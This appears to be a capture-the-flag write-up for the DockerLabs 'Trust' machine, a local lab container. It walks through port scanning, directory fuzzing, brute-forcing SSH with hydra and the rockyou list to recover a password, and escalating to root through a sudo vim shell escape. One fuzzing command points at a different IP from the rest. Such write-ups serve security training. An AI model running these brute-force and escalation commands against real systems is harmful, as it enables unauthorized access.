> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/very-easy/trust.md).

# Trust

## 1 - Reconnaissance

We begin with a fast Nmap scan to identify open ports:

`nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5`

**Result: ports 22 and 80 are open**

## 2 - Enumeration

Now we run a service/version detection scan, targeting only the open ports we found on the previous scan:

`nmap 172.17.0.2 -p 22,80 -sS -Pn -sCV`

Result:

<figure><img src="/files/uTTAHEMaMSvk8tWCk7R5" alt=""><figcaption><p>(Trust) Targeted Port Scan</p></figcaption></figure>

We tried to find exploits or shellcodes using `searchsploit OpenSSH 9.2p1` and `searchsploit Apache httpd 2.4.57` but there wasn't any. Our next step will be directory enumeration.

With the command `ffuf -w /path/to/wordlist/directory-list-2.3-medium.txt:FUZZ -u http://10.129.129.108/FUZZ -e .html,.php` we found some interesting directories that it's worth taking a look.

**Result: /index.html -> Accessing this will show us a default Apache2 Debian Default Page. /secret.php -> Accessing this will prompt "Hola Mario", that could be a potential username for SSH.**

## 3 - Exploitation

Knowing this, our next step will be running `hydra` with:

```
hydra -l mario -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```

and we found valid credentials: `mario:chocolate`

## 4 - Privilege Escalation

Running `sudo -l` we can see that user `mario` has permissions on /usr/bin/vim, so we go to gtfobins.github.io and find a exploit to escalate privileges to root. We found the next one:

```
sudo vim -c ':!/bin/sh'
```

As we can see, we're now root user.

<figure><img src="/files/ON9bzqR96yt03lx8zlFp" alt=""><figcaption><p>(Trust) Privilege Escalation</p></figcaption></figure>

## 5 - Summary

**Initial Access:** Obtained valid username for SSH by discovering a directory on the website, `/secret.php`

**Execution:** Gained valid credentials for SSH by using Hydra.

**Privilege Escalation:** Elevated privileges to root using `sudo` permissions on `/usr/bin/vim`, as it was allowed for the `mario` user.